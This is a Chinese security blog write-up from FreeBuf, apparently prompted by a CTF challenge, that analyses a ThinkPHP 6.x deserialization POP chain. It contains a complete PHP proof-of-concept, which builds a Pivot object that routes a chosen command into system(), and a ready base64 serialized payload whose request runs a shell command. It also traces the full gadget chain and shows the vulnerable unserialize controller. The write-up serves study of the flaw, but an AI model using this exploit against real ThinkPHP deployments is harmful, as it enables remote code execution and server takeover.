freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

从安洵杯学习thinkphp 6.x反序列化POP链
阿信 2019-12-04 12:13:47 371576

前言

刚刚过去的安洵杯,里面有一道iamthinking的题目(好像是这个名字吧),里面考察到了tp6的反序列化(通过访问www.zip可以下载源码),按照惯例,我还是没有做出来,我不知道咋绕过那个正则emmmm,给没有做题的大师傅献上关键源码吧,如果有师傅懂,欢迎评论

<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{
    public function index()
    {

        echo "<img src='../test.jpg'"."/>";
        $paylaod = @$_GET['payload'];
        if(isset($paylaod))
        {
            $url = parse_url($_SERVER['REQUEST_URI']);
            parse_str($url['query'],$query);
            foreach($query as $value)
            {
                if(preg_match("/^O/i",$value))
                {
                    die('STOP HACKING');
                    exit();
                }
            }
            unserialize($paylaod);
        }
    }
}

虽然题没有做出来,但是tp6的反序列化POP链必须学习一波。

PoC献上

<?php
namespace think\model\concern;
trait Conversion
{
}

trait Attribute
{
    private $data;
    private $withAttr = ["axin" => "system"];

    public function get()
    {
        $this->data = ["axin" => "ls"];  //你想要执行的命令,这里的键值只需要保持和withAttr里的键值一致即可
    }
}

namespace think;
abstract class Model{
    use model\concern\Attribute;
    use model\concern\Conversion;
    private $lazySave = false;
    protected $withEvent = false;
    private $exists = true;
    private $force = true;
    protected $field = [];
    protected $schema = [];
    protected $connection='mysql';
    protected $name;
    protected $suffix = '';
    function __construct(){
        $this->get();
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->field = [];
        $this->schema = [];
        $this->connection = 'mysql';
    }

}

namespace think\model;

use think\Model;

class Pivot extends Model
{
    function __construct($obj='')
    {
        parent::__construct();
        $this->name = $obj;
    }
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(base64_encode(serialize($b)));

大佬们好像没有放现成的PoC,我这里自己糊弄了一个,大家将就着看吧,下面我们就来看看整个POP链吧。

利用链分析

这次的利用链后半部分也就是__toString()后面的链条都是与tp5.2.x一样的,只是前半条链不一致,奈何我之前只分析过tp5.1.x的,而5.1.x与5.2.x的区别就是后半条链不一致,也就是说tp5.1.x的利用链与tp6.x的利用链完全不一样,而我在准备复现tp5.2.x的pop链时,用composer安装tp5.2.x死活安不上,但是官网上又说5.2只能用composer安装.......

在这里插入图片描述跑去github上提issue,结果官方回复说没有5.2版本了......说出来给各位师傅们避个坑

先列出利用链:

think\Model --> __destruct()
think\Model --> save()
think\Model --> updateData()
think\Model --> checkAllowFields()
think\Model --> db()

后半部分利用链(同tp 5.2后半部分利用链)

think\model\concern\Conversion --> __toString()
think\model\concern\Conversion --> __toJson()
think\model\concern\Conversion --> __toArray()
think\model\concern\Attribute --> getAttr()
think\model\concern\Attribute --> getValue()

可以看到我把利用链拆分为了两部分,前面一部分是到有字符串拼接操作为止,后面一部分是从字符串拼接的魔术方法开始,一直到代码执行的触发点。接下来我们就一边梳理利用链,一边构造POC。

Model的__destruct方法

public function __destruct()
{
    echo "lazySave的值:".$this->lazySave."<br>";
    if ($this->lazySave) {
        $this->save();
    }
}

这里要执行save方法,需要lazySave=true

跟进save方法,因为我们关注的只是updateData方法,所以updateData后面的代码我就省略掉了:

    public function save(array $data = [], string $sequence = null): bool
    {
        // 数据对象赋值
        $this->setAttrs($data);
        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }

        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
        xxxxxxxxxxxx
        return true;
    }

为了能够顺利执行到updateData(),我们需要保证前面的if条件判断不成立($this->isEmpth()==false和$this->trigger()==true)以及$this->exists=true

isEmpty

public function isEmpty(): bool
{
    return empty($this->data);
}

只要保证this->data不为空就行

trigger

protected function trigger(string $event): bool
{
    if (!$this->withEvent) {
        return true;
    }

    $call = 'on' . Str::studly($event);

    try {
        if (method_exists(static::class, $call)) {
            $result = call_user_func([static::class, $call], $this);
        } elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {
            $result = self::$event->trigger(static::class . '.' . $event, $this);
            $result = empty($result) ? true : end($result);
        } else {
            $result = true;
        }

        return false === $result ? false : true;
    } catch (ModelEventException $e) {
        return false;
    }
}

看似这么长一串,但是我们只需要令withEvent=false就可以直接发挥true,回到save函数,接下来再令$this->exists==true,然后进入updateData()

    protected function updateData(): bool
    {
        echo "updateData执行-----<br>";
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) {  // 经过我们之前的设置,这儿直接跳过
            return false;
        }

        $this->checkData();

        // 获取有更新的数据
        $data = $this->getChangedData();

        if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            return true;
        }

        if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }

        // 检查允许字段
        $allowFields = $this->checkAllowFields();

        xxxxxxxxx

为了能够调用到checkAllowFields(),还是需要保证前面不直接return,所以$data不能为空,所以我们跟进getChangedData()

public function getChangedData(): array
{
    $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
        if ((empty($a) || empty($b)) && $a !== $b) {
            return 1;
        }

        return is_object($a) || $a != $b ? 1 : 0;
    });

    // 只读字段不允许更新
    foreach ($this->readonly as $key => $field) {
        if (isset($data[$field])) {
            unset($data[$field]);
        }
    }

    return $data;
}

第二个foreach不需要在意,我们这里令$this->force==true直接返回我们之前自定义的非空data,回到updateData(),后面会执行到if判断,但是不影响我们的流程,忽略,这就进入了checkAllowFields()

protected function checkAllowFields(): array
{
    echo "进入checkAllowFields()函数<br>";
    // 检测字段
    if (empty($this->field)) {
        if (!empty($this->schema)) {
            $this->field = array_keys(array_merge($this->schema, $this->jsonType));
        } else {
            $query = $this->db();
            $table = $this->table ? $this->table . $this->suffix : $query->getTable();

            $this->field = $query->getConnection()->getTableFields($table);
        }

        return $this->field;
    }

    xxxxxxx
}

为了执行db(),令$this->schema$this->field为空,进入db()

public function db($scope = []): Query
    {
        echo "进入db()函数<br>";
        /** @var Query $query */
        echo "db函数中的变量值如下:<br>";
        echo "connection=".$this->connection."<br>";
        echo "name=";var_dump($this->name);echo "<br>";
        echo "suffix=".$this->suffix."<br>";
        $query = self::$db->connect($this->connection)
            ->name($this->name . $this->suffix)
            ->pk($this->pk);
    }

在db函数里执行了$this->name.$this->suffix这种字符串拼接操作,但是在这之前需要满足$db->connect()也就是令$this->connection=='mysql',至此前半条链已经完成。我们知道了每个变量的值怎么设置,我们还得找一个合适的类,因为Model类是抽象类,不能实例化,我们找一个他的子类,和tp5.1一样我们还是用Pivot类来构造PoC,不难构造出如下半成品:

namespace think;
abstract class Model{
    use model\concern\Attribute;
    use model\concern\Conversion;
    private $lazySave = false;
    protected $withEvent = false;
    private $exists = true;
    private $force = true;
    protected $field = [];
    protected $schema = [];
    protected $connection='mysql';
    protected $name;
    protected $suffix = '';
    function __construct(){
        $this->get();
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->field = [];
        $this->schema = [];
        $this->connection = 'mysql';
    }

}

namespace think\model;

use think\Model;

class Pivot extends Model
{

}

因为前半条链已经来到了$this->name.$this->suffix,那么无论是name还是suffix连接后半条链都是可以的,重要的就是这后半条链从那个类开始,漏洞作者找到Conversion类,其中他的魔术方法__toString如下:

public function __toString()
{
    return $this->toJson();
}

继续跟toJson:

public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
     return json_encode($this->toArray(), $options);
}

跟进toArray:

    public function toArray(): array
    {
        echo "进入toArray函数!!!<br>";
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            xxxxxx
        }

        foreach ($this->hidden as $key => $val) {
            xxxxxx
        }

        // 合并关联数据
        $data = array_merge($this->data, $this->relation); //$data=["axin"=>"ls"]

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
        }

       xxxxxx
        return $item;
    }

根据我最开始给出的poc,$data=["axin"=>"ls"],所以会来到最后一个getAttr()函数处,我们跟进

public function getAttr(string $name)
{
    echo "进入getAttr函数!!!!<br>";
    try {
        $relation = false;
        $value    = $this->getData($name); // $name='axin'
    } catch (InvalidArgumentException $e) {
        $relation = $this->isRelationAttr($name);
        $value    = null;
    }

    return $this->getValue($name, $value, $relation);
}

如果熟悉tp5.1.x pop链的同学肯定觉得getData的似曾相识,我们一起来看看吧:

public function getData(string $name = null)//$name='axin'
{
    echo "进入getData函数!!!!<br>";
    if (is_null($name)) {
        return $this->data;
    }

    $fieldName = $this->getRealFieldName($name);

    if (array_key_exists($fieldName, $this->data)) {
        return $this->data[$fieldName];
    } elseif (array_key_exists($fieldName, $this->relation)) {
        return $this->relation[$fieldName];
    }

    throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

跟进getRealFieldName:

protected function getRealFieldName(string $name): string  // $name = 'axin'
{
    return $this->strict ? $name : Str::snake($name);
}

这里我们可以令$this->strict=true,这样就会发挥‘axin’,回到getData,getData继续执行,也就是$fieldName='axin',最后getData()返回$this->data['axin']也就是返回了'ls'。回到getAttr(),继续执行进入getValue():

protected function getValue(string $name, $value, $relation = false)
{
    echo "进入getValue函数!!!!<br>";
    // 检测属性获取器
    $fieldName = $this->getRealFieldName($name); //$fieldName='axin'
    $method    = 'get' . Str::studly($name) . 'Attr';

    if (isset($this->withAttr[$fieldName])) {
        if ($relation) {
            $value = $this->getRelationValue($relation);
        }

        if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
            $value = $this->getJsonValue($fieldName, $value);
        } else {
            echo "到达代码执行触发点!!!<br>";
            $closure = $this->withAttr[$fieldName];  //这里的withAttr = ["axin"=>"system"]
            $value   = $closure($value, $this->data);
        }
    } elseif (method_exists($this, $method)) {
        xxxxxx
    } elseif (isset($this->type[$fieldName])) {
        xxxxx
    } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
      xxxx
    } elseif ($relation) {
       xxxxxxxxxx
    }

    return $value;
}

这里顺序执行,默认会执行到

$closure = $this->withAttr[$fieldName];  //这里的withAttr = ["axin"=>"system"] ,$filedName='axin'
$value   = $closure($value, $this->data);//最终执行system("ls", ["axin"=>"ls"])

可以看到最终是执行了system("ls", ["axin"=>"ls"]),而system函数第二个参数是可选的,也就是这种用法是合法的

注:system ( string $command [, int &$return_var ] ) : string参数

command要执行的命令。 return_var如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。

至此,Tp5.6.x的pop链后半段也结束了。剩下的就是完善刚刚前半段POP链构造的poc了,成品也就是我最开始贴出来的那个,最后看一下我本地调试的效果,当然在调试过程中需要自己构造一个反序列化点,我直接在Index控制器中构造了一个新方法反序列化$_GET[p]

在这里插入图片描述然后请求/public/index.php/index/unser?p=TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7czowOiIiO3M6OToiACoAc3VmZml4IjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJheGluIjtzOjI6ImxzIjt9czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6NDoiYXhpbiI7czo2OiJzeXN0ZW0iO319czo5OiIAKgBzdWZmaXgiO3M6MDoiIjtzOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjQ6ImF4aW4iO3M6MjoibHMiO31zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo0OiJheGluIjtzOjY6InN5c3RlbSI7fX0%3D,可以看到成功执行ls命令,其中那些乱七八糟的输出是我调试时自己echo的,大家在编写反序列化poc时也可以这样一点点确定自己写对了没。

在这里插入图片描述

参考

向大佬们看齐,respect

https://xz.aliyun.com/t/6619

https://xz.aliyun.com/t/6479

https://www.anquanke.com/post/id/187393

https://www.anquanke.com/post/id/187332

# 反序列化 # POP链 # thinkphp6反序列化
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 阿信 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
代码审计之路
阿信 LV.2
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 4 关注者
历史最全 WebGoat 8.0 通关攻略
2019-12-04
从红帽杯题目学习thinkphp 5.1反序列化利用链
2019-12-04
Think CMF X任意内容包含漏洞分析复现
2019-11-04
文章目录